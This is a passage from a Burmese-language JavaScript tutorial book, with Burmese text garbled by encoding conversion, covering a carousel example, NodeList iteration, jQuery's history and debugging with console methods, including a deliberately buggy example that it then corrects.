<input> နှစ်ခုအတွက် နှစ်ခါdရးထားပါတယ်။ ကုဒ်ရဲ့သdzာက အတူတူပါပဲ။  Input  dတွdပါ်မှာ  Key
တစ်ခုခုနှိပ်တာနဲ့  Number  ဟုတ်မဟုတ်စစ်ပြပီး ဟုတ်တာနဲ့  Label  dတွရဲ့  display ကို  none dgပာင်း
ပြပီး  gပန်doျာက်dပးလုိက်တာမို့လ့ုိ  အခုဆိုရင်dတာ့  အားလံုးgပည့်စုံသွားပြပီgoစ်ပါတယ်။  တစ်ဆင့်ချင်းစီgပခဲ့
တာကို ကူးdရးရတာ အဆင်မdgပခဲ့ရင် ဒီမှာကုဒ်အgပည့်အစုံကို dဒါင်းပြပီးစမ်းeကည့်လ့ုိရပါတယ်။

- https://github.com/eimg/javascript-book

https://github.com/eimg/javascript-book
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Carousel Sample
dနာက်ထပ်  စမ်းeကည့်စရာနမူနာdလးတစ်ခုအdနနဲ့  Carousel  dလးတစ်ခုကို  oန်တီးeကည့်eကပါမယ်။
Carousel  ဆိုတာ  Slide Show  ပံုစံ  Box  dလးdတွတစ်ခု တစ်ခုပြပီးတစ်ခု  dgပာင်းdနတဲ့  လုပ်dဆာင်ချက်
dလးပါ။ သတ်မှတ်အချနိ်နဲ့ သ့ူအလုိအdလျှာက်dgပာင်းသလုိ ခလုပ်dလးနှိပ်နှိပ်ပြပီးdတာ့လည်း dgပာင်းလ့ုိရ
နိုင်ပါတယ်။ ပထမတစ်ဆင့်အdနနဲ့ ဒီလုိdလး dရးdပးလုိက်ပါ – 

 HTML & CSS 
<!DOCTYPE html>
<html>
<head>
    <title>Title</title>
    <style>
        .boxes {
            width: 800px;
            margin: 20px auto;
            text-align: center;
        }

        .box {
            height: 200px;
        }

        #box1 {
            background: darkcyan;
        }

        #box2 {
            background:dodgerblue;
        }

        #box3 {
            background: darkorange;
        }
    </style>
</head>
<body>
    <div class="boxes">
        <div class="box" id="box1"></div>
        <div class="box" id="box2"></div>
        <div class="box" id="box3"></div>
        <div class="controls">
            <button id="prev">&laquo; Prev</button>
            <button id="next">Next &raquo;</button>
        </div>
    </div>
</body>
</html>
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ဒါ .box ကdလး (၃) ခုနဲ့ <button> dလး (၂) ခုပါဝင်တဲ့ HTML Structure goစ်ပြပီး သင့်dတာ်တဲ့ CSS
Style dလးdတွ ထည့်dရးထားလ့ုိ ရလဒ်က အခုလုိပံုစံ goစ်မှာပါ။

ပြပီးdတာ့မှာ  #box2 နဲ့  #box3 ကို  display: none နဲ့  ခဏနေdoျာက်ထားလုိက်ပါ။  CSS  မှာ  ဒီလုိ
dgပာင်းdပးရမှာပါ။

 CSS 
#box1 {
    background: darkcyan;
    display: none;
}

#box2 {
    background: dodgerblue;
    display: none;
}

ဒါdeကာင့် Box (၃) ခုမှာ (၁) ခုပဲ ကျန်မှာgoစ်ပါတယ်။ Next ခလုပ်ကိုနှိပ်ရင် dနာက် Box တစ်ခုကို dgပာင်း
gပပြပီး Prev ခလုပ်ကိုနှိပ်ရင် dရှ့ Box တစ်ခုကို dgပာင်းgပdအာင် အခုလိုdလး dရးdပးလုိက်ပါ။
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 HံTML & JavaScript 
<script>
    let box = 1
    function next() {
        document.querySelector(`#box${box}`).style.display = "none"
        box++; if(box > 3) box = 1
        document.querySelector(`#box${box}`).style.display = "block"
    }

    function prev() {
        document.querySelector(`#box${box}`).style.display = "none"
        box--; if(box < 1) box = 3
        document.querySelector(`#box${box}`).style.display = "block"
    }

    document.querySelector("#next").onclick = next
    document.querySelector("#prev").onclick = prev
    setInterval(next, 5000)
</script>

ပထမဆုံး  box အမည်နဲ့  Variable  တစ်ခုကို  အားလံုးရဲ့အdပါ်မှာ  deကညာထားပါတယ်။  next()
Function  က အ့ဲဒီ  box တန်oုိးနဲ့  Element  ကို  Select  လုပ်ပြပီးdoျာက်လုိက်လို့  နှိပ်လုိက်ရင်  #box1
dပျာက်သွားမှာပါ။  ပြပီးdတာ့မှ  box++ နဲ့  တစ်တိုးပြပီး  Select  gပန်လုပ်ထားလို့  ဒီတစ်ခါ  Select  လုပ်မှာ
#box2 goစ်သွားပါပြပီ။  ဒါdeကာင့်  #box2 dပါ်လာမှာပါ။  Next  ကိုdနာက်တစ်ကြကိမ်နှိပ်တဲ့အခါ  box
Variable  တန်oုိးက  2  goစ်dနပါပြပီ။ ဒါdeကာင့်  #box2 dပျာက်သွားပြပီး  #box3 dပါ်လာမှာပါ။ ဒီနည်းနဲ့
တစ်ချက်နှစ်တိုင်း dနာက် Box တစ်ခုကို dgပာင်းgပတဲ့ လုပ်dဆာင်ချက်ကို ရသွားပါတယ်။ ဒါdပမယ့် Box
က (၃) ခုပဲရှိလ့ုိ  box Variable တန်oုိး 3 ထက်dကျာ်မှာစိုးလ့ုိ  3 ထက်dကျာ်ရင် 1 ကိုgပန်dgပာင်းdပးထား
လုိက်လ့ုိ dနာက်ဆုံး Box ကို dရာက်ပြပီးရင် dရှ့ ဆုံး Box ကို gပန်dရာက်သွားမှာ goစ်ပါတယ်။ ကုဒ်နမူနာမှာ
Statement  နှစ်deကာင်းကို  တစ်deကာင်းထဲ  dရာdရးထားလို့  Semicolon  dလးခံထားတာကိုလည်း
သတိgပုပါ။

prev() Function ရဲ့လုပ်dဆာင်ချက်က next() နဲ့အတတူူပါပဲ။ box Variable ကို 1 တိုးမယ့်အစား 1
နှုတ်dပးလုိက်တာပါ။ အ့ဲဒီလုိနှုတ်တဲ့အခါ  1  ထက်ငယ်ရင်  3  လ့ုိdပးထားတဲ့အတွက် dရှ့ ဆုံးdရာက်dနချနိ်
prev() ကို သွားလုိက်ရင် dနာက်ဆုံးကိုdရာက်သွားမှာပါ။ ဒီနည်းနဲ့  dရှ့ dနာက် သွားလ့ုိရတဲ့  Function
နှစ်ခရုသွားပါတယ်။
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ပြပီးdတာ့မှ  အ့ဲဒီ  Function  dတွကို  သက်ဆိုင်ရာ  Button  မှာတွဲdပးလုိက်ပါတယ်။  ဒါတင်မက
setIntervel() နဲ့လည်း  next ကို  Run  dပးထားလ့ုိ နမူနာအရ ၅ စက္ကန့်တစ်ခါ အလိုအdလျှာက်
dgပာင်းdနတဲ့ Carousel လုပ်dဆာင်ချက်dလးကို ရရိှသွားပြပီပဲ goစ်ပါတယ်။

ဒီလုိမျ ို း  နားလည်ရသိပ်မခက်zဲ  လက်dတွ့အသံုးဝင်တဲ့  နမူနာdလးdတွကိုကြကိုdရးပြပီး  တင်ထားdပးပါ
မယ်။ ဒီလိပ်စာမှာ Download ရယူပြပီး၊ တစ်ခုပြပီးတစ်ခု dလ့လာစမ်းသပ် eကည့်dစချင်ပါတယ်။

- https://github.com/eimg/javascript-book

Element List
အခုနမူနာdတွdရးတဲ့အခါ  သံုးရပုိလွယ်တဲ့  querySelector() ကိုပဲ  dတာက်dလျှာက်သံုးခဲ့ပါတယ်။
လုိချင်တဲ့  Element  ကိုတန်းရလ့ုိပါ။ တစ်ကယ့်လက်dတွ့မှာ  querySelectorAll() ကိုပုိအသံုးများ
နိုင်ပါတယ်။  Selector  တစ်ခုကgပန်dပးတဲ့  Element  dတွအများကြကီး goစ်နိုင်ပါတယ်။ ဥပမာ  ul > li
ဆိရုင် <ul> ထဲမှာ ရိှသမျှ <li> dတွအကုန်ရမှာပါ။ ဒါdပမယ့် querySelector() နဲ့ဆိုရင် တစ်ခုပဲ
ရပါလိမ့်မယ်။ တစ်ကယ် အကုန်လုိချင်ရင်dတာ့ querySelectorAll() ကိုသံုးမှ ရပါလိမ့်မယ်။

querySelectorAll() နဲ့ Select လုပ်ယူတဲ့အခါ gပန်ရမယ့် ရလဒ်က Array နဲ့ဆင်တူတဲ့ Node List
ကိုgပန်ရမှာgoစ်ပါတယ်။  Array  နဲ့ဆင်တူdပမယ့် တစ်ကယ်  Array  dတာ့မဟုတ်ပါzူး။  ဒါdeကာင့် သံုးတဲ့
အခါ Array ကဲ့သ့ုိ သံုးနိုင်dပမယ့် map() တို့ filter() တို့လုိ Array Method dတွ အလုပ်မလုပ်ပါzူး။
ဒါdပမယ့် Iterable အမျ ို းအစားgoစ်လ့ုိ for-of Loop နဲ့ သ့ူကို Loop လုပ်လုိ့ရနိုင်ပါတယ်။

 HံTML & JavaScript 
<ul>
    <li>Item One</li>
    <li>Item Two</li>
    <li>Item Three</li>
    <li>Item Four</li>
</ul>

https://github.com/eimg/javascript-book
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<script>
    let items = document.querySelectorAll("ul > li")
    for(li of items) {
        console.log(li.textContent)
    }
</script> 

ဒါဟာ  <li> Element  dတွပါဝင်တဲ့  Node  List  ကို  for-of နဲ့  Loop  လုပ်ပြပီး  သ့ူရဲ့  Content  ကို
Console မှာ တန်းစီရိုက်ထုတ်လုိက်တာပါ။ ဒါdeကာင့် Browser Console ကိုoွင့်eကည့်ရင် အခုလုိရလဒ်ကို
dတွ့gမင်ရမှာပါ။

Item One
Item Two
Item Three
Item Four

အကယ်၍ Node List dပါ်မှာ map() လုိမျ ို း Loop လုပ်လုိ့ရတဲ့ Method သံုးချင်ရင် forEach() ကိုသံုး
လ့ုိလည်း ရနိုင်ပါdသးတယ်။ ဒီလိုပါ – 

 HံTML & JavaScript 
<ul>
    <li>Item One</li>
    <li>Item Two</li>
    <li>Item Three</li>
    <li>Item Four</li>
</ul>
<script>
    let items = document.querySelectorAll("ul > li")
    items.forEach(li => li.textContent)
</script>

တူညီတဲ့ရလဒ်ကို ရမှာgoစ်ပါတယ်။ ဒီdနရာမှာ တစ်ခုသတိgပုရမှာက forEach() က Item တစ်ခုချင်းစီ
dပါ်မှာ dပးလုိက်တဲ့ Callback Function ကို အလုပ်လုပ်သွားdပမယ့် ရလဒ်ကို map() လုိ Array အdနနဲ့
gပန်မdပးပါzူး။ ဒါdeကာင့် လုိချင်တဲ့အလုပ်ခိုင်းလို့ ရပါတယ်၊ Return Value dတာ့ ရှိမှာ မဟုတ်ပါzူး။
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လက်စနဲ့ Array တစ်ခုကို သံုးပြပီး Element List တစ်ခု တည်dဆာက်doာ်gပdစတဲ့ ကုဒ်dလးလည်း နမူနာ
ထည့်gပလုိက်ချင်ပါတယ်။ ဒီလုိပါ – 

 HံTML & JavaScript 
<ul></ul>
<script>
    let fruits = ["Apple", "Orange", "Mango"]
    let ul = document.querySelector("ul")
    fruits.map(fruit => {
        let li = document.createElement("li")
        li.textContent = fruit
        ul.appendChild(li)
    })
</script>

ဒါဟာ Array တစ်ခုထဲမှာပါတဲ့ Item dတွကိုသံုးပြပီး <ul> Element ထဲမှာ <li> Element dတွ တစ်ခုပြပီး
တစ်ခတုည်dဆာက်ပြပီး ထည့်dပးလုိက်တာပါ။ ဒီတစ်ခါdတာ့  Array  dပါ်မှာ အလုပ်လုပ်တာမ့ုိလ့ုိ  map()
ကိုသံုးထားပါတယ်။

Wrapping Up
အခုလုိ  DOM Manipulation  လုပ်ငန်းdတွနဲ့ပက်သက်ရင်  အရမ်းdကာင်းတဲ့  JavaScript  Library  နည်း
ပညာတစ်ခုရှိပါတယ်။  jQuery  လ့ုိdခါ်ပါတယ်။  လူသံုးdတာ်dတာ်များတဲ့  နည်းပညာတစ်ခုပါ။
zယ်dလာက်dတာင်  လူသံုးများသလဲဆိုရင်  အင်တာနက်dပါ်မှာရှိသမျှ  ဝz်ဆိုက်dတွရဲ့  ထက်ဝက်နီးပါး
က jQuery ကို အသံုးgပုထားeကပါတယ်။ 

jQuery  က  JavaScript  မှာ  querySelector() တို့  querySelectorAll() တို့  မရှိခင်
ကတည်းက  CSS  Selector  အတိုင်း  Element  dတွကို  Select  လုပ်လုိ့ရdအာင်  စီစဉ်dပးထားတာပါ။
JavaScript မှာ forEach() မရှိခင်ကတည်းက အလားတူ လုပ်dဆာင်ချက်မျ ို းdတွ သ့ူမှာ ရှိdနတာပါ။
ဒါက အခုdgပာလက်စရှိတဲ့  နမူနာdတွdလာက်ကိုသာ dရးွထုတ်dgပာတာပါ။ တစ်ကယ်dတာ့ အသံုးဝင်ပြပီး
မူလ JavaScript  မှာ မပါတဲ့၊ မရှိတဲ့၊ လုပ်dဆာင်ချက်dတွ dတာ်dတာ်များများကို  jQuery  က oန်တီးdပး
ထားပါတယ်။ ပြပီးdတာ့၊  အရင်က  Browser  dတတွစ်ခုနဲ့တစ်ခု  အလုပ်လုပ်ပံု  မတူကွဲgပားမှုdတွ  ရှိdနစဉ်
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ကာလမှာ၊ dရးလုိက်တဲ့ကုဒ်dတွ Browser အားလံုးမှာ တူညီစွာ အလုပ်လုပ်dအာင်လည်း jQuery က စီစဉ်
dပးထားပါdသးတယ်။ ဒါdeကာင့် dတာ်dတာ်အသံုးဝင်ပြပီး မရှိမgoစ်နည်းပညာgoစ်ခဲ့ပါတယ်။

အခုdနာက်ပုိင်းမှာdတာ့  Internet Explorer  လုိ အလွန်dနှးပြပီး gပဿနာdတွများတဲ့  Browser  မျ ို းကို  လူ
သံုးနည်းသွားသလုိ  JavaScript  ကိုယ်တိုင်မှာလည်း  jQuery  က  လုပ်dပးနိုင်တဲ့  လုပ်dဆာင်ချက်dတွ
တစ်ခါထဲ ပါဝင်လာပါပြပီ။ ဒါdeကာင့်အခုချနိ်မှာ  jQuery  ကို ထည့်သွင်းdလ့လာထားရင် dကာင်းdပမယ့် မ
goစ်မdန လုိအပ်တာမျ ို း မဟုတ်dတာ့ပါzူး။

jQuery နဲ့ ပြပိုင်တူလုိလုိ ထွက်dပါ်ခဲ့တဲ့ အgခား JavaScript နည်းပညာ အdgမာက်အများ ရှိခဲ့သလ့ုိ jQuery
ရဲ့dနာက်မှာ  ထပ်ဆင့်ထွက်dပါ်လာတဲ့  JavaScript  နည်းပညာdတွလည်း  အdgမာက်အgမား  ရှိပါdသး
တယ်။  BackboneJS,  AngularJS,  EmberJS  စသည်goင့်  ထင်ရှားခဲ့eကပါတယ်။  လက်ရှိ  အထင်ရှားဆုံး
နည်းပညာdတွကdတာ့ React နဲ့ Vuejs တို့ပဲ goစ်ပါတယ်။ React အdeကာင်းကို dနာက်ပုိင်းမှာ ထည့်သွင်း
doာ်gပသွားမှာပါ။

ဒါက  Development  ပုိင်းကိုပဲ dgပာတာပါ။  Tooling  dခါ် ဆက်စပ်နည်းပညာdတွလည်း ရှိပါdသးတယ်။
ESLint လုိ JavaScript ကုဒ်dတွထဲမှာ အမှားရှာdပးနိုင်တဲ့ နည်းပညာdတွ၊ Webpack လုိ Node Module
dတွကို  Web မှာသံုးလ့ုိရdအာင် စီမံdပးတဲ့ နည်းပညာdတွ၊ Babel လုိ အသစ်တီထွင်ထားတဲ့  ES Feature
သစ်dတွကို dလာdလာဆယ် Support  မလုပ်dသးတဲ့  Browser dတွမှာ အလုပ်လုပ်dအာင် စီမံdပးနိုင်တဲ့
နည်းပညာdတွ၊  NPM  လုိ  JavaScript  Module  dတွ  Package  dတွကို  စီမံdပးနိုင်တဲ့  နည်းပညာdတွ၊
စသည်goင့် ရှိdနပါတယ်။

JavaScript  ဟာ dတာd်တာ်  dလးကျယ်gပန့်တဲ့  zာသာရပ်တစ်ခုပါ။ အခုဒီစာအုပ်dပးတဲ့  ဗဟုသုတdပါ်
မှာ အdgခခံပြပီး dနာက်အဆင့် dနာက်အဆင့်dတွကို တစ်ဆင့်gခင်း ဆက်လက် တက်လှမ်းသွားရမှာပဲ goစ်ပါ
တယ်။
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ကုဒ်ထဲမှာ မသိလုိက်zဲ ပါသွားတဲ့ အမှားdလးdတွကို  Bug လ့ုိdခါ်ပါတယ်။ ဟိုးdရှးdရှးက ကွန်ပျူတာဆို
တာ အခုလုိ စားပဲွတင်ကွန်ပျူတာ မဟုတ်dသးzဲ အခန်းတစ်ခန်းလံုးစာ အgပည့်ယူတဲ့ စက်ကြကီးdတွပါ။ အ့ဲ
ဒီdခတ်က ကွန်ပျူတာ အလုပ်မလုပ်လ့ုိ အdgoရှာeကည့်လုိက်တာ ပုိးဟပ်တစ်dကာင် စက်ထဲမှာဝင်dနလ့ုိ
အလုပ်မလုပ်တာကို  သွားdတွ့ရာကdန  dနာက်ပုိင်းမှာ  အလုပ်မလုပ်dအာင်  gပဿနာdပးdနတဲ့  အမှား
dလးdတွကို  Bug  လ့ုိdခါ်တဲ့  အdလ့အထ goစ်သွားခဲ့တာလ့ုိ ဆိုပါတယ်။ ဒါdeကာင့်  Debug    လုပ်တယ်ဆို  
တာ   Bug   ကို oယ်ထုတ်လုိက်တာ  ၊ ရှင်းလုိက်တာပါ။ အမှားကို မှန်dအာင်gပင်လုိက်တာပါ။

JavaScript ကုဒ်dတွdရးတဲ့အခါ Console မှာ တိုက်ရိုက်dရးပြပီး စမ်းeကည့်တဲ့ ကုဒ်dတွက သိပ်gပဿနာမ
ရိှပါzူး။ မှားရင် Error တက်လ့ုိ မှားမှန်း ချက်ချင်းသိရပါတယ်။ လံုးဝအတိအကျကြကီး မဟုတ်dပမယ့် zာ
deကာင့်မှားလဲဆိုတာကို  Error Message  dတွgပdပးလ့ုိ အ့ဲဒီ  Error Message  dတွကို  dလ့လာပြပီး ကိုယ့်
ကုဒ်ကို လုိအပ်သလုိ မှန်dအာင် gပင်dပးလုိက်လ့ုိရနိုင်ပါတယ်။

Browser မှာ Run တဲ့အခါမှာdတာ့ dရးထားတဲ့ JavaScript ကုဒ်မှားdနရင် Browser က Error မgပပါzူး။
ဒါdeကာင့် dရးပြပီးစမ်းeကည့်လိုက်လ့ုိ အလုပ်မလုပ်တဲ့အခါ zာdeကာင့်အလုပ်မလုပ်မှန်း မသိdတာ့တာမျ ို း
dတွ goစ်eကပါတယ်။ တစ်ကယ်dတာ့ Error dတွကို လံုးဝမgပတာ မဟုတ်ပါzူး။ Browser gမင်ကွင်းမှာ မ
gပdပမယ့်  Console  ထဲမှာdတာ့ gပdပးပါတယ်။ ဒါdeကာင့်  Debug လုပ်ပြပီး အမှားရှာနိုင်o့ုိအတွက်  dရးတဲ့
ကုဒ် အလုပ်မလုပ်ရင်   Browser Console   oွင့်eကည့်ပြပီး အdgoရှာရတယ်   ဆိုတာကို ဦးဆုံးမှတ်ထားo့ုိ လုိပါ
တယ်။

အခုလုိ စာအုပ်dတွdရးသလုိ သင်တန်းdတွoွင့်ပြပီး စာdတွလည်း သင်dနdတာ့ အပြမဲကြကုံရပါတယ်။ အလုပ်မ
လုပ်ရင်   Console   ကို oွင့်eကည့်ပါ   လ့ုိ zယ်dလာက်ပဲ ထပ်ခါထပ်ခါ dgပာထားထား၊ အဆင်မdgပတာနဲ့ zာ
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လုပ်လုိ့  zာကိုင်ရမှန်းမသိ စိတ်ညစ်ပြပီး၊  "ဆရာ မရzူး"  တို့  "ဆရာ အလုပ်မလုပ်zူး"  တို့ဆိုတာမျ ို းdတွ
အပြမဲတမ်း dမးeကပါတယ်။ dမးတာက gပဿနာမဟုတ်ပါzူး။  "Console  ကိုoွင့်eကည့်ပြပီးပြပီလား"  လုိgပန်
dမးလုိက်ရင် အများစုက မeကည့်ရdသးပါzူး။ တစ်ကယ်တမ်း  Console  oွင့်eကည့်လိုက်တဲ့အခါ မှားရတဲ့
အdeကာင်းရင်းကို သိသွားပြပီး ကိုယ်zာသာမှန်dအာင် gပင်လုိက်နိုင်eကတာ များပါတယ်။

အစပုိင်းdလ့လာစdရးတဲ့ ကုဒ်dတွဆိုတာ zာမှရှုပ်dထွးတဲ့ကုဒ်dတွ မဟုတ်dသးပါzူး။ ဒီအဆင့်မှာ dတာ်
ယံုတန်ယံု  အမှားdလာက်က  Console  မှာgပတဲ့  Error  dတွနဲ့တင်  အdgoထွက်ပါတယ်။  တစ်ခါတစ်dလ
dတာ့ zာ Error မှ မgပzဲ အလုပ်မလုပ်တဲ့ gပဿနာမျ ို dတွdတာ့ ရှိတတ်ပါတယ်။ အ့ဲဒီလို ရိှလာတဲ့အခါ မ
မှားzူး  ထင်ရdပမယ့်  မှားeကတဲ့အမှားdလးdတွ  ရှိပါတယ်။  zာလဲဆိုdတာ့  ကုဒ်dတွdရးdနတာက oုိင်
တစ်ခု၊ တစ်ကယ်တမ်း oွင့်စမ်းdနတာက oုိင်တစ်ခု goစ်eကတာကိုလည်း မeကာမeကာ ကြကုံရပါတယ်။ မgoစ်
dလာက်ပါzူး မထင်နဲ့၊ တစ်ခါတစ်dလ မဟုတ်ပါzူး၊ ခဏနေခဏနေကို goစ်eကတာပါ။ ဒီdတာ့ dရးချင်ရာdရး၊
gပင်ချင်သလုိgပင်၊ အလုပ်ကို  မလုပ်zူးgoစ်dနတာdပါ့။ zယ်လုပ်ပါ့မလဲ၊ oွင့်စမ်းdနတာက လက်ရှိdရးdန
တဲ့ oုိင်မှ မဟုတ်တာ။ ဒါdeကာင့် Error   လည်းမgပzူး၊ အလုပ်လည်းမလုပ်zူးဆိုရင် dရးတဲ့oုိင်နဲ့ စမ်းတဲ့oုိင်  
တရူဲ့လားဆိုတာကို အရင်ဆုံး dသချာgပန်စစ်ပါ။

dနာက်gပဿနာတစ်ခုကdတာ့၊ dရးတဲ့oုိင်နဲ့ စမ်းတဲ့oုိင် တတူယ်။  Browser  မှာ  Refresh  လုပ်oို့  dမ့ပြပီး ဒီ
တိုင်းစမ်းdနမိတာ  ဆိတုာမျ ို းလည်း  goစ်တတ်ပါdသးတယ်။  dလ့လာသူdတွမdgပာနဲ့  အdတွ့အကြကုံရှိသူ
dတွdတာင် မeကာခဏနေ goစ်တတ်eကပါdသးတယ်။ Browser မှာ Refresh မလုပ်ရင်dတာ့ dရးလုိက်တဲ့ကုဒ်
က အသက်ဝင်မှာ  မဟုတ်ပါzူး။  နZိုအdဟာင်းကြကီးကိုပဲ  အလုပ်လုပ်dနမှာပါ။  ဒါdeကာင့်  ကိုယ်ကdတာ့
gပင်လုိက်တယ် ရလဒ်မှာ dgပာင်းမသွားzူးဆိုတာမျ ို း goစ်တတ်ပါတယ်။ ဒါdeကာင့်  Browser   ကို    Refresh  
လုပ်ပြပီးမှ စမ်းeကည့်oို့ကိုလည်း မdမ့o့ုိသတိgပုရပါမယ်။

dရးတဲ့oုိင်လည်းမှန်တယ်၊ စမ်းတဲ့oုိင်လည်း မှန်တယ်၊ Refresh dတzွာdတွလည်း dသချာလုပ်တယ်။အ့ဲဒါ
လည်း  အလုပ်မလုပ်dသးzူး၊  Error  လည်းမgပzူး  ဆိုတာမျ ို း  goစ်လာရင်dတာ့  console.log()
Method ကို အားကိုးရမှာပဲ goစ်ပါတယ်။ ဥပမာအdနနဲ့ မှားdနတဲ့ ကုဒ်dလးတစ်ခု dပးချင်ပါတယ်။
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 HံTML & JavaScript 
<input type="text">
<label></label>
<script>
    document.querySelector("input").onekeyup = function() {
        let count = document.querySelector("input").value.lenght
        if(count) {
            document.querySelector("label").testContent = count
        }
    }
</script>

<input> မှာ တစ်ခုခုရိုက်ထည့်လုိက်တာနဲ့ စာလံုးအdရအတွက်ကို <label> ထဲမှာ gပdအာင် dရးထား
တဲ့ ကုဒ်ပါ။ ဒီကုဒ်ဟာ မှားdနတဲ့အတွက် အလုပ်လုပ်မှာ မဟုတ်ပါzူး။ gပဿနာက Error Message လည်း
gပမှာ မဟုတ်ပါzူး။ ကိုယ်zာသာoတ်eကည့်ပြပီး အမှားကိုdတွ့dအာင်ရှာရပါdတာ့မယ်။ ဒီကုဒ်dလာက်မှာ
ရှာdကာင်းရှာနိုင်dပမယ့်  ကုဒ်dတွများလာရင်  တစ်လံုးချင်းoတ်ပြပီး  ရှာo့ုိဆိုတာ  မလွယ်dတာ့ပါzူး။  ဒါ
deကာင့် zယ်အပုိင်း အလုပ်လုပ်တယ်၊ zယ်အပုိင်း အလုပ်မလုပ်မzူးဆိုတာ dပါ်လွင်dအာင် လက်ရှိကုဒ်
ရဲ့ eကားထဲမှာ console.log() dလးdတွ လုိက်ထုတ်eကည့်လို့ ရနိုင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 
console.log("JavaScript working")
document.querySelector("input").onekeyup = function() {
    console.log("Keyup working")
    let count = document.querySelector("input").value.lenght
    if(count) {
        console.log("Inside if block")
        document.querySelector("label").testContent = count
    }
}

console.log() Statement dတွပါသွားလ့ုိ JavaScript working ဆိုတဲ့doာ်gပချက် Console မှာdပါ်
ရင် ဒီအဆင့်ထိ အလုပ်လုပ်တယ်ဆိုတာ dသချာသွားပါပြပီ။  keyup လုပ်dဆာင်ချက်သာ အလုပ်လုပ်မယ်
ဆိရုင်  Keyup  working ဆိုတဲ့doာ်gပချက်  Console  မှာထွက်ရပါမယ်။  dပးထားတဲ့  နမူနာမှာ  ထွက်မှာ
မဟုတ်ပါzူး။ ဒါဆိုရင် သူက Error မgပdပမယ့် ကိုယ့်အစီအစဉ်နဲ့ကိုယ် Keyup လုပ်dဆာင်ချက် အလုပ်မ
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လုပ်တာ သိသွားပြပီမ့ုိလ့ုိ အ့ဲဒီအပုိင်းကို ဦးစားdပးအdgoရှာလုိက်လ့ုိ ရသွားပါပြပီ။ နမူနာမှာ onkeyup goစ်ရ
မှာကို onekeyup goစ်dနပါတယ်။ အ့ဲဒါdလးgပင်ပြပီး dနာက်တစ်ကြကိမ် စမ်းeကည့်ရင်  Keyup working ဆို
တဲ့doာ်gပချက်ကို dတွ့gမင်ရမှာပါ။ ဒါဆိုရင် gပဿနာတစ်ခု dgပလည်သွားပါပြပီ။

အမှားdတွကျန်dနdသးလုိ့ အလုပ်dတာ့လုပ်ဦးမှာ မဟုတ်ပါzူး။ အကယ်၍ Inside if block ဆိုတဲ့ ရလဒ်
ထွက်dပါ်မယ်ဆိုရင် count တန်oုိးမှန်လ့ုိပါ။ မdပါ်ရင်dတာ့ count တန်oုိးမမှန်လ့ုိပါ။ ဒါဆိုရင် count
တန်oုိးယူထားတဲ့  Statement  ကို  စစ်လုိက်ယံုပါပဲ။  နမူနာမှာ  value.length goစ်ရမယ့်အစား
value.lenght goစ်dနပါတယ်။ gပင်dပးလုိက်ရင် မှန်သွားလ့ုိ  Inside if  block ဆိုတဲ့  doာ်gပချက်ကို
dတွ့gမင်ရပါလိမ့်မယ်။

ဒါdပမယ့် အမှားကျန်dနdသးလ့ုိ လုိချင်တဲ့ရလဒ်အမှန် မရdသးပါzူး။  Inside if block ဆိုတဲ့ doာ်gပချက်
deကာင့်  အ့ဲဒီနားထိ  dရာက်dနပြပီ၊  မှန်dနပြပီဆိုတာ  dသချာdနပြပီမို့လ့ုိ  စစ်စရာ  တစ်dနရာပဲ  ကျန်ပါdတာ့
တယ်။ သတိထားeကည့်လုိက်ရင် dတွ့ရပါလိမ့်မယ်။  textContent goစ်ရမယ့်အစား testContent
goစ်dနပါတယ်။ အ့ဲဒါdလးgပင်ပြပီး စမ်းeကည့်လုိက်ရင်dတာ့ အားလံုးမှန်သွားပြပီမ့ုိလို့ လုိချင်တဲ့ရလဒ်အမှန်ကို
ရရှိသွားမှာပဲ goစ်ပါတယ်။

console.log() အgပင် အသံုးဝင်တဲ့ တgခား Method dလးdတွ ရိှပါdသးတယ်။ 

console.info() – console.log() နဲ့အတူတူပါပဲ။ Firefox Browser မှာဆိုရင် dရှ့ ကdန Info
Icon dလးထည့်ပြပီး gပdပးပါတယ်။ Chrome မှာdတာ့ မgပပါzူး။

console.warn() –  console.log() နဲ့အတူတူပါပဲ။  စာလံုးအဝါdရာင်နဲ့  dရှ့ကdန  Warning
Icon dလးထည့်ပြပီး gပdပးပါတယ်။

console.error() – console.log() နဲ့အတတူူပါပဲ။ စာလံုးအနီdရာင်နဲ့ dရှ့ကdန Error Icon
dလးထည့်ပြပီး gပdပးပါတယ်။
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နမူနာပံုကိုeကည့်လိုက်ရင်  console.log(),  console.info(),  console.warn() နဲ့
console.error() တို့ကို သံုးgပထားပါ။ Console မှာgပတဲ့ doာ်gပချက်dလးdတွ အdရာင်dgပာင်းသွား
ယံုသာမက သင့်dတာ်တဲ့  Icon  dလးdတွ  တွဲgပတာကိုdတွ့ရမှာပါ။  ပြပီးdတာ့  ဟိုးအdပါ်ညာzက်နားမှာ
Warning နဲ့ Error အdရအတွက်ကိုလည်း gပdပးdနတာကို dတွ့ရပါလိမ့်မယ်။

console.table() –  Array  dတွ  Object  dတွမှာပါတဲ့  Data  dတွကို  Table  dလးတစ်ခုနဲ့  eကည့်
dကာင်းdအာင် gပdပးပါတယ်။ ရိုးရိုး console.log() နဲ့တစ်ချ ို ့ Structure Data dတွကို eကည့်ရခက်
တယ်ထင်ရင် console.table() နဲ့ ထုတ်eကည့်နိုင်ပါတယ်။

console.trace() – Function dတွထဲမှာ ဒီ Statement ကို dရးထားမယ်ဆိုရင် Function ကို zယ်
ကdခါ်သလဲဆိုတဲ့dခါ်ယူမှု အဆင့်ဆင့်ကို gပdပးပါတယ်။

console.time(), console.timeEnd() –  တစ်ချ ို ့ကုဒ်dတွ  အလုပ်လုပ်တာ  zယ်dလာက်
eကာသလဲ သိချင်ရင် ဒီနှစ်ခုကို တွဲသံုးနိုင်ပါတယ်။ ကုဒ်ရဲ့အdပါ်မှာ console.time() ကို dရးပြပီး ကုဒ်
ရဲ့ dအာက်မှာ console.timeEnd() ကိုdရးထားမယ်ဆိုရင် eကာချနိ်ကို doာ်gပdပးမှာ goစ်ပါတယ်။
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ဒီလုိ Console မှာထုတ်eကည့်ပြပီး Debug လုပ်တဲ့နည်းဟာ စနစ်ကျတဲ့နည်း မဟုတ်dပမယ့် လူတိုင်းသံုးdန
တဲ့နည်းgoစ်ပါတယ်။  စီနီယာအဆင့်  ပရိုZရမ်မာdတွကိုယ်တိုင်  ဒီနည်းသံုးတဲ့သူdတွကို  ဟာသလုပ်ပြပီး
dနာက်eကdပမယ့် သူတို့ကိုယ်တိုင် ဒီနည်းကို လက်မလွှတ်နိုင်eကပါzူး။ 

Debug လုပ်oုိ့ ထည့်ထားတဲ့ console.log() အပါအဝင် console Method dတွကို Debug လုပ်ပြပီး
